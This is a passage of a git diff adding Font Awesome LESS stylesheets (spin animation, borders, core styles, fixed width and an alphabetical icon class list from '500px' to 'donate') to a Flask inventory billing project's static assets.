linear; +} + +.@{fa-css-prefix}-pulse { + animation: fa-spin 1s infinite steps(8); +} + +@keyframes fa-spin { + 0% { + transform: rotate(0deg); + } + 100% { + transform: rotate(360deg); + } +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_bordered-pulled.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_bordered-pulled.less new file mode 100644 index 00000000..29a356b4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_bordered-pulled.less @@ -0,0 +1,16 @@ +// Bordered & Pulled +// ------------------------- + +.@{fa-css-prefix}-border { + border-radius: .1em; + border: solid .08em @fa-border-color; + padding: .2em .25em .15em; +} + +.@{fa-css-prefix}-pull-left { float: left; } +.@{fa-css-prefix}-pull-right { float: right; } + +.@{fa-css-prefix}, .fas, .far, .fal, .fab { + &.@{fa-css-prefix}-pull-left { margin-right: .3em; } + &.@{fa-css-prefix}-pull-right { margin-left: .3em; } +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_core.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_core.less new file mode 100644 index 00000000..e8c2ff38 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_core.less @@ -0,0 +1,12 @@ +// Base Class Definition +// ------------------------- + +.@{fa-css-prefix}, .fas, .far, .fal, .fad, .fab { + -moz-osx-font-smoothing: grayscale; + -webkit-font-smoothing: antialiased; + display: inline-block; + font-style: normal; + font-variant: normal; + text-rendering: auto; + line-height: 1; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_fixed-width.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_fixed-width.less new file mode 100644 index 00000000..be817c63 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_fixed-width.less @@ -0,0 +1,6 @@ +// Fixed Width Icons +// ------------------------- +.@{fa-css-prefix}-fw { + text-align: center; + width: (20em / 16); +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_icons.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_icons.less new file mode 100644 index 00000000..70de03f7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_icons.less @@ -0,0 +1,1461 @@ +/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen + readers do not read off random characters that represent icons */ + +.@{fa-css-prefix}-500px:before { content: @fa-var-500px; } +.@{fa-css-prefix}-accessible-icon:before { content: @fa-var-accessible-icon; } +.@{fa-css-prefix}-accusoft:before { content: @fa-var-accusoft; } +.@{fa-css-prefix}-acquisitions-incorporated:before { content: @fa-var-acquisitions-incorporated; } +.@{fa-css-prefix}-ad:before { content: @fa-var-ad; } +.@{fa-css-prefix}-address-book:before { content: @fa-var-address-book; } +.@{fa-css-prefix}-address-card:before { content: @fa-var-address-card; } +.@{fa-css-prefix}-adjust:before { content: @fa-var-adjust; } +.@{fa-css-prefix}-adn:before { content: @fa-var-adn; } +.@{fa-css-prefix}-adversal:before { content: @fa-var-adversal; } +.@{fa-css-prefix}-affiliatetheme:before { content: @fa-var-affiliatetheme; } +.@{fa-css-prefix}-air-freshener:before { content: @fa-var-air-freshener; } +.@{fa-css-prefix}-airbnb:before { content: @fa-var-airbnb; } +.@{fa-css-prefix}-algolia:before { content: @fa-var-algolia; } +.@{fa-css-prefix}-align-center:before { content: @fa-var-align-center; } +.@{fa-css-prefix}-align-justify:before { content: @fa-var-align-justify; } +.@{fa-css-prefix}-align-left:before { content: @fa-var-align-left; } +.@{fa-css-prefix}-align-right:before { content: @fa-var-align-right; } +.@{fa-css-prefix}-alipay:before { content: @fa-var-alipay; } +.@{fa-css-prefix}-allergies:before { content: @fa-var-allergies; } +.@{fa-css-prefix}-amazon:before { content: @fa-var-amazon; } +.@{fa-css-prefix}-amazon-pay:before { content: @fa-var-amazon-pay; } +.@{fa-css-prefix}-ambulance:before { content: @fa-var-ambulance; } +.@{fa-css-prefix}-american-sign-language-interpreting:before { content: @fa-var-american-sign-language-interpreting; } +.@{fa-css-prefix}-amilia:before { content: @fa-var-amilia; } +.@{fa-css-prefix}-anchor:before { content: @fa-var-anchor; } +.@{fa-css-prefix}-android:before { content: @fa-var-android; } +.@{fa-css-prefix}-angellist:before { content: @fa-var-angellist; } +.@{fa-css-prefix}-angle-double-down:before { content: @fa-var-angle-double-down; } +.@{fa-css-prefix}-angle-double-left:before { content: @fa-var-angle-double-left; } +.@{fa-css-prefix}-angle-double-right:before { content: @fa-var-angle-double-right; } +.@{fa-css-prefix}-angle-double-up:before { content: @fa-var-angle-double-up; } +.@{fa-css-prefix}-angle-down:before { content: @fa-var-angle-down; } +.@{fa-css-prefix}-angle-left:before { content: @fa-var-angle-left; } +.@{fa-css-prefix}-angle-right:before { content: @fa-var-angle-right; } +.@{fa-css-prefix}-angle-up:before { content: @fa-var-angle-up; } +.@{fa-css-prefix}-angry:before { content: @fa-var-angry; } +.@{fa-css-prefix}-angrycreative:before { content: @fa-var-angrycreative; } +.@{fa-css-prefix}-angular:before { content: @fa-var-angular; } +.@{fa-css-prefix}-ankh:before { content: @fa-var-ankh; } +.@{fa-css-prefix}-app-store:before { content: @fa-var-app-store; } +.@{fa-css-prefix}-app-store-ios:before { content: @fa-var-app-store-ios; } +.@{fa-css-prefix}-apper:before { content: @fa-var-apper; } +.@{fa-css-prefix}-apple:before { content: @fa-var-apple; } +.@{fa-css-prefix}-apple-alt:before { content: @fa-var-apple-alt; } +.@{fa-css-prefix}-apple-pay:before { content: @fa-var-apple-pay; } +.@{fa-css-prefix}-archive:before { content: @fa-var-archive; } +.@{fa-css-prefix}-archway:before { content: @fa-var-archway; } +.@{fa-css-prefix}-arrow-alt-circle-down:before { content: @fa-var-arrow-alt-circle-down; } +.@{fa-css-prefix}-arrow-alt-circle-left:before { content: @fa-var-arrow-alt-circle-left; } +.@{fa-css-prefix}-arrow-alt-circle-right:before { content: @fa-var-arrow-alt-circle-right; } +.@{fa-css-prefix}-arrow-alt-circle-up:before { content: @fa-var-arrow-alt-circle-up; } +.@{fa-css-prefix}-arrow-circle-down:before { content: @fa-var-arrow-circle-down; } +.@{fa-css-prefix}-arrow-circle-left:before { content: @fa-var-arrow-circle-left; } +.@{fa-css-prefix}-arrow-circle-right:before { content: @fa-var-arrow-circle-right; } +.@{fa-css-prefix}-arrow-circle-up:before { content: @fa-var-arrow-circle-up; } +.@{fa-css-prefix}-arrow-down:before { content: @fa-var-arrow-down; } +.@{fa-css-prefix}-arrow-left:before { content: @fa-var-arrow-left; } +.@{fa-css-prefix}-arrow-right:before { content: @fa-var-arrow-right; } +.@{fa-css-prefix}-arrow-up:before { content: @fa-var-arrow-up; } +.@{fa-css-prefix}-arrows-alt:before { content: @fa-var-arrows-alt; } +.@{fa-css-prefix}-arrows-alt-h:before { content: @fa-var-arrows-alt-h; } +.@{fa-css-prefix}-arrows-alt-v:before { content: @fa-var-arrows-alt-v; } +.@{fa-css-prefix}-artstation:before { content: @fa-var-artstation; } +.@{fa-css-prefix}-assistive-listening-systems:before { content: @fa-var-assistive-listening-systems; } +.@{fa-css-prefix}-asterisk:before { content: @fa-var-asterisk; } +.@{fa-css-prefix}-asymmetrik:before { content: @fa-var-asymmetrik; } +.@{fa-css-prefix}-at:before { content: @fa-var-at; } +.@{fa-css-prefix}-atlas:before { content: @fa-var-atlas; } +.@{fa-css-prefix}-atlassian:before { content: @fa-var-atlassian; } +.@{fa-css-prefix}-atom:before { content: @fa-var-atom; } +.@{fa-css-prefix}-audible:before { content: @fa-var-audible; } +.@{fa-css-prefix}-audio-description:before { content: @fa-var-audio-description; } +.@{fa-css-prefix}-autoprefixer:before { content: @fa-var-autoprefixer; } +.@{fa-css-prefix}-avianex:before { content: @fa-var-avianex; } +.@{fa-css-prefix}-aviato:before { content: @fa-var-aviato; } +.@{fa-css-prefix}-award:before { content: @fa-var-award; } +.@{fa-css-prefix}-aws:before { content: @fa-var-aws; } +.@{fa-css-prefix}-baby:before { content: @fa-var-baby; } +.@{fa-css-prefix}-baby-carriage:before { content: @fa-var-baby-carriage; } +.@{fa-css-prefix}-backspace:before { content: @fa-var-backspace; } +.@{fa-css-prefix}-backward:before { content: @fa-var-backward; } +.@{fa-css-prefix}-bacon:before { content: @fa-var-bacon; } +.@{fa-css-prefix}-bacteria:before { content: @fa-var-bacteria; } +.@{fa-css-prefix}-bacterium:before { content: @fa-var-bacterium; } +.@{fa-css-prefix}-bahai:before { content: @fa-var-bahai; } +.@{fa-css-prefix}-balance-scale:before { content: @fa-var-balance-scale; } +.@{fa-css-prefix}-balance-scale-left:before { content: @fa-var-balance-scale-left; } +.@{fa-css-prefix}-balance-scale-right:before { content: @fa-var-balance-scale-right; } +.@{fa-css-prefix}-ban:before { content: @fa-var-ban; } +.@{fa-css-prefix}-band-aid:before { content: @fa-var-band-aid; } +.@{fa-css-prefix}-bandcamp:before { content: @fa-var-bandcamp; } +.@{fa-css-prefix}-barcode:before { content: @fa-var-barcode; } +.@{fa-css-prefix}-bars:before { content: @fa-var-bars; } +.@{fa-css-prefix}-baseball-ball:before { content: @fa-var-baseball-ball; } +.@{fa-css-prefix}-basketball-ball:before { content: @fa-var-basketball-ball; } +.@{fa-css-prefix}-bath:before { content: @fa-var-bath; } +.@{fa-css-prefix}-battery-empty:before { content: @fa-var-battery-empty; } +.@{fa-css-prefix}-battery-full:before { content: @fa-var-battery-full; } +.@{fa-css-prefix}-battery-half:before { content: @fa-var-battery-half; } +.@{fa-css-prefix}-battery-quarter:before { content: @fa-var-battery-quarter; } +.@{fa-css-prefix}-battery-three-quarters:before { content: @fa-var-battery-three-quarters; } +.@{fa-css-prefix}-battle-net:before { content: @fa-var-battle-net; } +.@{fa-css-prefix}-bed:before { content: @fa-var-bed; } +.@{fa-css-prefix}-beer:before { content: @fa-var-beer; } +.@{fa-css-prefix}-behance:before { content: @fa-var-behance; } +.@{fa-css-prefix}-behance-square:before { content: @fa-var-behance-square; } +.@{fa-css-prefix}-bell:before { content: @fa-var-bell; } +.@{fa-css-prefix}-bell-slash:before { content: @fa-var-bell-slash; } +.@{fa-css-prefix}-bezier-curve:before { content: @fa-var-bezier-curve; } +.@{fa-css-prefix}-bible:before { content: @fa-var-bible; } +.@{fa-css-prefix}-bicycle:before { content: @fa-var-bicycle; } +.@{fa-css-prefix}-biking:before { content: @fa-var-biking; } +.@{fa-css-prefix}-bimobject:before { content: @fa-var-bimobject; } +.@{fa-css-prefix}-binoculars:before { content: @fa-var-binoculars; } +.@{fa-css-prefix}-biohazard:before { content: @fa-var-biohazard; } +.@{fa-css-prefix}-birthday-cake:before { content: @fa-var-birthday-cake; } +.@{fa-css-prefix}-bitbucket:before { content: @fa-var-bitbucket; } +.@{fa-css-prefix}-bitcoin:before { content: @fa-var-bitcoin; } +.@{fa-css-prefix}-bity:before { content: @fa-var-bity; } +.@{fa-css-prefix}-black-tie:before { content: @fa-var-black-tie; } +.@{fa-css-prefix}-blackberry:before { content: @fa-var-blackberry; } +.@{fa-css-prefix}-blender:before { content: @fa-var-blender; } +.@{fa-css-prefix}-blender-phone:before { content: @fa-var-blender-phone; } +.@{fa-css-prefix}-blind:before { content: @fa-var-blind; } +.@{fa-css-prefix}-blog:before { content: @fa-var-blog; } +.@{fa-css-prefix}-blogger:before { content: @fa-var-blogger; } +.@{fa-css-prefix}-blogger-b:before { content: @fa-var-blogger-b; } +.@{fa-css-prefix}-bluetooth:before { content: @fa-var-bluetooth; } +.@{fa-css-prefix}-bluetooth-b:before { content: @fa-var-bluetooth-b; } +.@{fa-css-prefix}-bold:before { content: @fa-var-bold; } +.@{fa-css-prefix}-bolt:before { content: @fa-var-bolt; } +.@{fa-css-prefix}-bomb:before { content: @fa-var-bomb; } +.@{fa-css-prefix}-bone:before { content: @fa-var-bone; } +.@{fa-css-prefix}-bong:before { content: @fa-var-bong; } +.@{fa-css-prefix}-book:before { content: @fa-var-book; } +.@{fa-css-prefix}-book-dead:before { content: @fa-var-book-dead; } +.@{fa-css-prefix}-book-medical:before { content: @fa-var-book-medical; } +.@{fa-css-prefix}-book-open:before { content: @fa-var-book-open; } +.@{fa-css-prefix}-book-reader:before { content: @fa-var-book-reader; } +.@{fa-css-prefix}-bookmark:before { content: @fa-var-bookmark; } +.@{fa-css-prefix}-bootstrap:before { content: @fa-var-bootstrap; } +.@{fa-css-prefix}-border-all:before { content: @fa-var-border-all; } +.@{fa-css-prefix}-border-none:before { content: @fa-var-border-none; } +.@{fa-css-prefix}-border-style:before { content: @fa-var-border-style; } +.@{fa-css-prefix}-bowling-ball:before { content: @fa-var-bowling-ball; } +.@{fa-css-prefix}-box:before { content: @fa-var-box; } +.@{fa-css-prefix}-box-open:before { content: @fa-var-box-open; } +.@{fa-css-prefix}-box-tissue:before { content: @fa-var-box-tissue; } +.@{fa-css-prefix}-boxes:before { content: @fa-var-boxes; } +.@{fa-css-prefix}-braille:before { content: @fa-var-braille; } +.@{fa-css-prefix}-brain:before { content: @fa-var-brain; } +.@{fa-css-prefix}-bread-slice:before { content: @fa-var-bread-slice; } +.@{fa-css-prefix}-briefcase:before { content: @fa-var-briefcase; } +.@{fa-css-prefix}-briefcase-medical:before { content: @fa-var-briefcase-medical; } +.@{fa-css-prefix}-broadcast-tower:before { content: @fa-var-broadcast-tower; } +.@{fa-css-prefix}-broom:before { content: @fa-var-broom; } +.@{fa-css-prefix}-brush:before { content: @fa-var-brush; } +.@{fa-css-prefix}-btc:before { content: @fa-var-btc; } +.@{fa-css-prefix}-buffer:before { content: @fa-var-buffer; } +.@{fa-css-prefix}-bug:before { content: @fa-var-bug; } +.@{fa-css-prefix}-building:before { content: @fa-var-building; } +.@{fa-css-prefix}-bullhorn:before { content: @fa-var-bullhorn; } +.@{fa-css-prefix}-bullseye:before { content: @fa-var-bullseye; } +.@{fa-css-prefix}-burn:before { content: @fa-var-burn; } +.@{fa-css-prefix}-buromobelexperte:before { content: @fa-var-buromobelexperte; } +.@{fa-css-prefix}-bus:before { content: @fa-var-bus; } +.@{fa-css-prefix}-bus-alt:before { content: @fa-var-bus-alt; } +.@{fa-css-prefix}-business-time:before { content: @fa-var-business-time; } +.@{fa-css-prefix}-buy-n-large:before { content: @fa-var-buy-n-large; } +.@{fa-css-prefix}-buysellads:before { content: @fa-var-buysellads; } +.@{fa-css-prefix}-calculator:before { content: @fa-var-calculator; } +.@{fa-css-prefix}-calendar:before { content: @fa-var-calendar; } +.@{fa-css-prefix}-calendar-alt:before { content: @fa-var-calendar-alt; } +.@{fa-css-prefix}-calendar-check:before { content: @fa-var-calendar-check; } +.@{fa-css-prefix}-calendar-day:before { content: @fa-var-calendar-day; } +.@{fa-css-prefix}-calendar-minus:before { content: @fa-var-calendar-minus; } +.@{fa-css-prefix}-calendar-plus:before { content: @fa-var-calendar-plus; } +.@{fa-css-prefix}-calendar-times:before { content: @fa-var-calendar-times; } +.@{fa-css-prefix}-calendar-week:before { content: @fa-var-calendar-week; } +.@{fa-css-prefix}-camera:before { content: @fa-var-camera; } +.@{fa-css-prefix}-camera-retro:before { content: @fa-var-camera-retro; } +.@{fa-css-prefix}-campground:before { content: @fa-var-campground; } +.@{fa-css-prefix}-canadian-maple-leaf:before { content: @fa-var-canadian-maple-leaf; } +.@{fa-css-prefix}-candy-cane:before { content: @fa-var-candy-cane; } +.@{fa-css-prefix}-cannabis:before { content: @fa-var-cannabis; } +.@{fa-css-prefix}-capsules:before { content: @fa-var-capsules; } +.@{fa-css-prefix}-car:before { content: @fa-var-car; } +.@{fa-css-prefix}-car-alt:before { content: @fa-var-car-alt; } +.@{fa-css-prefix}-car-battery:before { content: @fa-var-car-battery; } +.@{fa-css-prefix}-car-crash:before { content: @fa-var-car-crash; } +.@{fa-css-prefix}-car-side:before { content: @fa-var-car-side; } +.@{fa-css-prefix}-caravan:before { content: @fa-var-caravan; } +.@{fa-css-prefix}-caret-down:before { content: @fa-var-caret-down; } +.@{fa-css-prefix}-caret-left:before { content: @fa-var-caret-left; } +.@{fa-css-prefix}-caret-right:before { content: @fa-var-caret-right; } +.@{fa-css-prefix}-caret-square-down:before { content: @fa-var-caret-square-down; } +.@{fa-css-prefix}-caret-square-left:before { content: @fa-var-caret-square-left; } +.@{fa-css-prefix}-caret-square-right:before { content: @fa-var-caret-square-right; } +.@{fa-css-prefix}-caret-square-up:before { content: @fa-var-caret-square-up; } +.@{fa-css-prefix}-caret-up:before { content: @fa-var-caret-up; } +.@{fa-css-prefix}-carrot:before { content: @fa-var-carrot; } +.@{fa-css-prefix}-cart-arrow-down:before { content: @fa-var-cart-arrow-down; } +.@{fa-css-prefix}-cart-plus:before { content: @fa-var-cart-plus; } +.@{fa-css-prefix}-cash-register:before { content: @fa-var-cash-register; } +.@{fa-css-prefix}-cat:before { content: @fa-var-cat; } +.@{fa-css-prefix}-cc-amazon-pay:before { content: @fa-var-cc-amazon-pay; } +.@{fa-css-prefix}-cc-amex:before { content: @fa-var-cc-amex; } +.@{fa-css-prefix}-cc-apple-pay:before { content: @fa-var-cc-apple-pay; } +.@{fa-css-prefix}-cc-diners-club:before { content: @fa-var-cc-diners-club; } +.@{fa-css-prefix}-cc-discover:before { content: @fa-var-cc-discover; } +.@{fa-css-prefix}-cc-jcb:before { content: @fa-var-cc-jcb; } +.@{fa-css-prefix}-cc-mastercard:before { content: @fa-var-cc-mastercard; } +.@{fa-css-prefix}-cc-paypal:before { content: @fa-var-cc-paypal; } +.@{fa-css-prefix}-cc-stripe:before { content: @fa-var-cc-stripe; } +.@{fa-css-prefix}-cc-visa:before { content: @fa-var-cc-visa; } +.@{fa-css-prefix}-centercode:before { content: @fa-var-centercode; } +.@{fa-css-prefix}-centos:before { content: @fa-var-centos; } +.@{fa-css-prefix}-certificate:before { content: @fa-var-certificate; } +.@{fa-css-prefix}-chair:before { content: @fa-var-chair; } +.@{fa-css-prefix}-chalkboard:before { content: @fa-var-chalkboard; } +.@{fa-css-prefix}-chalkboard-teacher:before { content: @fa-var-chalkboard-teacher; } +.@{fa-css-prefix}-charging-station:before { content: @fa-var-charging-station; } +.@{fa-css-prefix}-chart-area:before { content: @fa-var-chart-area; } +.@{fa-css-prefix}-chart-bar:before { content: @fa-var-chart-bar; } +.@{fa-css-prefix}-chart-line:before { content: @fa-var-chart-line; } +.@{fa-css-prefix}-chart-pie:before { content: @fa-var-chart-pie; } +.@{fa-css-prefix}-check:before { content: @fa-var-check; } +.@{fa-css-prefix}-check-circle:before { content: @fa-var-check-circle; } +.@{fa-css-prefix}-check-double:before { content: @fa-var-check-double; } +.@{fa-css-prefix}-check-square:before { content: @fa-var-check-square; } +.@{fa-css-prefix}-cheese:before { content: @fa-var-cheese; } +.@{fa-css-prefix}-chess:before { content: @fa-var-chess; } +.@{fa-css-prefix}-chess-bishop:before { content: @fa-var-chess-bishop; } +.@{fa-css-prefix}-chess-board:before { content: @fa-var-chess-board; } +.@{fa-css-prefix}-chess-king:before { content: @fa-var-chess-king; } +.@{fa-css-prefix}-chess-knight:before { content: @fa-var-chess-knight; } +.@{fa-css-prefix}-chess-pawn:before { content: @fa-var-chess-pawn; } +.@{fa-css-prefix}-chess-queen:before { content: @fa-var-chess-queen; } +.@{fa-css-prefix}-chess-rook:before { content: @fa-var-chess-rook; } +.@{fa-css-prefix}-chevron-circle-down:before { content: @fa-var-chevron-circle-down; } +.@{fa-css-prefix}-chevron-circle-left:before { content: @fa-var-chevron-circle-left; } +.@{fa-css-prefix}-chevron-circle-right:before { content: @fa-var-chevron-circle-right; } +.@{fa-css-prefix}-chevron-circle-up:before { content: @fa-var-chevron-circle-up; } +.@{fa-css-prefix}-chevron-down:before { content: @fa-var-chevron-down; } +.@{fa-css-prefix}-chevron-left:before { content: @fa-var-chevron-left; } +.@{fa-css-prefix}-chevron-right:before { content: @fa-var-chevron-right; } +.@{fa-css-prefix}-chevron-up:before { content: @fa-var-chevron-up; } +.@{fa-css-prefix}-child:before { content: @fa-var-child; } +.@{fa-css-prefix}-chrome:before { content: @fa-var-chrome; } +.@{fa-css-prefix}-chromecast:before { content: @fa-var-chromecast; } +.@{fa-css-prefix}-church:before { content: @fa-var-church; } +.@{fa-css-prefix}-circle:before { content: @fa-var-circle; } +.@{fa-css-prefix}-circle-notch:before { content: @fa-var-circle-notch; } +.@{fa-css-prefix}-city:before { content: @fa-var-city; } +.@{fa-css-prefix}-clinic-medical:before { content: @fa-var-clinic-medical; } +.@{fa-css-prefix}-clipboard:before { content: @fa-var-clipboard; } +.@{fa-css-prefix}-clipboard-check:before { content: @fa-var-clipboard-check; } +.@{fa-css-prefix}-clipboard-list:before { content: @fa-var-clipboard-list; } +.@{fa-css-prefix}-clock:before { content: @fa-var-clock; } +.@{fa-css-prefix}-clone:before { content: @fa-var-clone; } +.@{fa-css-prefix}-closed-captioning:before { content: @fa-var-closed-captioning; } +.@{fa-css-prefix}-cloud:before { content: @fa-var-cloud; } +.@{fa-css-prefix}-cloud-download-alt:before { content: @fa-var-cloud-download-alt; } +.@{fa-css-prefix}-cloud-meatball:before { content: @fa-var-cloud-meatball; } +.@{fa-css-prefix}-cloud-moon:before { content: @fa-var-cloud-moon; } +.@{fa-css-prefix}-cloud-moon-rain:before { content: @fa-var-cloud-moon-rain; } +.@{fa-css-prefix}-cloud-rain:before { content: @fa-var-cloud-rain; } +.@{fa-css-prefix}-cloud-showers-heavy:before { content: @fa-var-cloud-showers-heavy; } +.@{fa-css-prefix}-cloud-sun:before { content: @fa-var-cloud-sun; } +.@{fa-css-prefix}-cloud-sun-rain:before { content: @fa-var-cloud-sun-rain; } +.@{fa-css-prefix}-cloud-upload-alt:before { content: @fa-var-cloud-upload-alt; } +.@{fa-css-prefix}-cloudflare:before { content: @fa-var-cloudflare; } +.@{fa-css-prefix}-cloudscale:before { content: @fa-var-cloudscale; } +.@{fa-css-prefix}-cloudsmith:before { content: @fa-var-cloudsmith; } +.@{fa-css-prefix}-cloudversify:before { content: @fa-var-cloudversify; } +.@{fa-css-prefix}-cocktail:before { content: @fa-var-cocktail; } +.@{fa-css-prefix}-code:before { content: @fa-var-code; } +.@{fa-css-prefix}-code-branch:before { content: @fa-var-code-branch; } +.@{fa-css-prefix}-codepen:before { content: @fa-var-codepen; } +.@{fa-css-prefix}-codiepie:before { content: @fa-var-codiepie; } +.@{fa-css-prefix}-coffee:before { content: @fa-var-coffee; } +.@{fa-css-prefix}-cog:before { content: @fa-var-cog; } +.@{fa-css-prefix}-cogs:before { content: @fa-var-cogs; } +.@{fa-css-prefix}-coins:before { content: @fa-var-coins; } +.@{fa-css-prefix}-columns:before { content: @fa-var-columns; } +.@{fa-css-prefix}-comment:before { content: @fa-var-comment; } +.@{fa-css-prefix}-comment-alt:before { content: @fa-var-comment-alt; } +.@{fa-css-prefix}-comment-dollar:before { content: @fa-var-comment-dollar; } +.@{fa-css-prefix}-comment-dots:before { content: @fa-var-comment-dots; } +.@{fa-css-prefix}-comment-medical:before { content: @fa-var-comment-medical; } +.@{fa-css-prefix}-comment-slash:before { content: @fa-var-comment-slash; } +.@{fa-css-prefix}-comments:before { content: @fa-var-comments; } +.@{fa-css-prefix}-comments-dollar:before { content: @fa-var-comments-dollar; } +.@{fa-css-prefix}-compact-disc:before { content: @fa-var-compact-disc; } +.@{fa-css-prefix}-compass:before { content: @fa-var-compass; } +.@{fa-css-prefix}-compress:before { content: @fa-var-compress; } +.@{fa-css-prefix}-compress-alt:before { content: @fa-var-compress-alt; } +.@{fa-css-prefix}-compress-arrows-alt:before { content: @fa-var-compress-arrows-alt; } +.@{fa-css-prefix}-concierge-bell:before { content: @fa-var-concierge-bell; } +.@{fa-css-prefix}-confluence:before { content: @fa-var-confluence; } +.@{fa-css-prefix}-connectdevelop:before { content: @fa-var-connectdevelop; } +.@{fa-css-prefix}-contao:before { content: @fa-var-contao; } +.@{fa-css-prefix}-cookie:before { content: @fa-var-cookie; } +.@{fa-css-prefix}-cookie-bite:before { content: @fa-var-cookie-bite; } +.@{fa-css-prefix}-copy:before { content: @fa-var-copy; } +.@{fa-css-prefix}-copyright:before { content: @fa-var-copyright; } +.@{fa-css-prefix}-cotton-bureau:before { content: @fa-var-cotton-bureau; } +.@{fa-css-prefix}-couch:before { content: @fa-var-couch; } +.@{fa-css-prefix}-cpanel:before { content: @fa-var-cpanel; } +.@{fa-css-prefix}-creative-commons:before { content: @fa-var-creative-commons; } +.@{fa-css-prefix}-creative-commons-by:before { content: @fa-var-creative-commons-by; } +.@{fa-css-prefix}-creative-commons-nc:before { content: @fa-var-creative-commons-nc; } +.@{fa-css-prefix}-creative-commons-nc-eu:before { content: @fa-var-creative-commons-nc-eu; } +.@{fa-css-prefix}-creative-commons-nc-jp:before { content: @fa-var-creative-commons-nc-jp; } +.@{fa-css-prefix}-creative-commons-nd:before { content: @fa-var-creative-commons-nd; } +.@{fa-css-prefix}-creative-commons-pd:before { content: @fa-var-creative-commons-pd; } +.@{fa-css-prefix}-creative-commons-pd-alt:before { content: @fa-var-creative-commons-pd-alt; } +.@{fa-css-prefix}-creative-commons-remix:before { content: @fa-var-creative-commons-remix; } +.@{fa-css-prefix}-creative-commons-sa:before { content: @fa-var-creative-commons-sa; } +.@{fa-css-prefix}-creative-commons-sampling:before { content: @fa-var-creative-commons-sampling; } +.@{fa-css-prefix}-creative-commons-sampling-plus:before { content: @fa-var-creative-commons-sampling-plus; } +.@{fa-css-prefix}-creative-commons-share:before { content: @fa-var-creative-commons-share; } +.@{fa-css-prefix}-creative-commons-zero:before { content: @fa-var-creative-commons-zero; } +.@{fa-css-prefix}-credit-card:before { content: @fa-var-credit-card; } +.@{fa-css-prefix}-critical-role:before { content: @fa-var-critical-role; } +.@{fa-css-prefix}-crop:before { content: @fa-var-crop; } +.@{fa-css-prefix}-crop-alt:before { content: @fa-var-crop-alt; } +.@{fa-css-prefix}-cross:before { content: @fa-var-cross; } +.@{fa-css-prefix}-crosshairs:before { content: @fa-var-crosshairs; } +.@{fa-css-prefix}-crow:before { content: @fa-var-crow; } +.@{fa-css-prefix}-crown:before { content: @fa-var-crown; } +.@{fa-css-prefix}-crutch:before { content: @fa-var-crutch; } +.@{fa-css-prefix}-css3:before { content: @fa-var-css3; } +.@{fa-css-prefix}-css3-alt:before { content: @fa-var-css3-alt; } +.@{fa-css-prefix}-cube:before { content: @fa-var-cube; } +.@{fa-css-prefix}-cubes:before { content: @fa-var-cubes; } +.@{fa-css-prefix}-cut:before { content: @fa-var-cut; } +.@{fa-css-prefix}-cuttlefish:before { content: @fa-var-cuttlefish; } +.@{fa-css-prefix}-d-and-d:before { content: @fa-var-d-and-d; } +.@{fa-css-prefix}-d-and-d-beyond:before { content: @fa-var-d-and-d-beyond; } +.@{fa-css-prefix}-dailymotion:before { content: @fa-var-dailymotion; } +.@{fa-css-prefix}-dashcube:before { content: @fa-var-dashcube; } +.@{fa-css-prefix}-database:before { content: @fa-var-database; } +.@{fa-css-prefix}-deaf:before { content: @fa-var-deaf; } +.@{fa-css-prefix}-deezer:before { content: @fa-var-deezer; } +.@{fa-css-prefix}-delicious:before { content: @fa-var-delicious; } +.@{fa-css-prefix}-democrat:before { content: @fa-var-democrat; } +.@{fa-css-prefix}-deploydog:before { content: @fa-var-deploydog; } +.@{fa-css-prefix}-deskpro:before { content: @fa-var-deskpro; } +.@{fa-css-prefix}-desktop:before { content: @fa-var-desktop; } +.@{fa-css-prefix}-dev:before { content: @fa-var-dev; } +.@{fa-css-prefix}-deviantart:before { content: @fa-var-deviantart; } +.@{fa-css-prefix}-dharmachakra:before { content: @fa-var-dharmachakra; } +.@{fa-css-prefix}-dhl:before { content: @fa-var-dhl; } +.@{fa-css-prefix}-diagnoses:before { content: @fa-var-diagnoses; } +.@{fa-css-prefix}-diaspora:before { content: @fa-var-diaspora; } +.@{fa-css-prefix}-dice:before { content: @fa-var-dice; } +.@{fa-css-prefix}-dice-d20:before { content: @fa-var-dice-d20; } +.@{fa-css-prefix}-dice-d6:before { content: @fa-var-dice-d6; } +.@{fa-css-prefix}-dice-five:before { content: @fa-var-dice-five; } +.@{fa-css-prefix}-dice-four:before { content: @fa-var-dice-four; } +.@{fa-css-prefix}-dice-one:before { content: @fa-var-dice-one; } +.@{fa-css-prefix}-dice-six:before { content: @fa-var-dice-six; } +.@{fa-css-prefix}-dice-three:before { content: @fa-var-dice-three; } +.@{fa-css-prefix}-dice-two:before { content: @fa-var-dice-two; } +.@{fa-css-prefix}-digg:before { content: @fa-var-digg; } +.@{fa-css-prefix}-digital-ocean:before { content: @fa-var-digital-ocean; } +.@{fa-css-prefix}-digital-tachograph:before { content: @fa-var-digital-tachograph; } +.@{fa-css-prefix}-directions:before { content: @fa-var-directions; } +.@{fa-css-prefix}-discord:before { content: @fa-var-discord; } +.@{fa-css-prefix}-discourse:before { content: @fa-var-discourse; } +.@{fa-css-prefix}-disease:before { content: @fa-var-disease; } +.@{fa-css-prefix}-divide:before { content: @fa-var-divide; } +.@{fa-css-prefix}-dizzy:before { content: @fa-var-dizzy; } +.@{fa-css-prefix}-dna:before { content: @fa-var-dna; } +.@{fa-css-prefix}-dochub:before { content: @fa-var-dochub; } +.@{fa-css-prefix}-docker:before { content: @fa-var-docker; } +.@{fa-css-prefix}-dog:before { content: @fa-var-dog; } +.@{fa-css-prefix}-dollar-sign:before { content: @fa-var-dollar-sign; } +.@{fa-css-prefix}-dolly:before { content: @fa-var-dolly; } +.@{fa-css-prefix}-dolly-flatbed:before { content: @fa-var-dolly-flatbed; } +.@{fa-css-prefix}-donate:before { 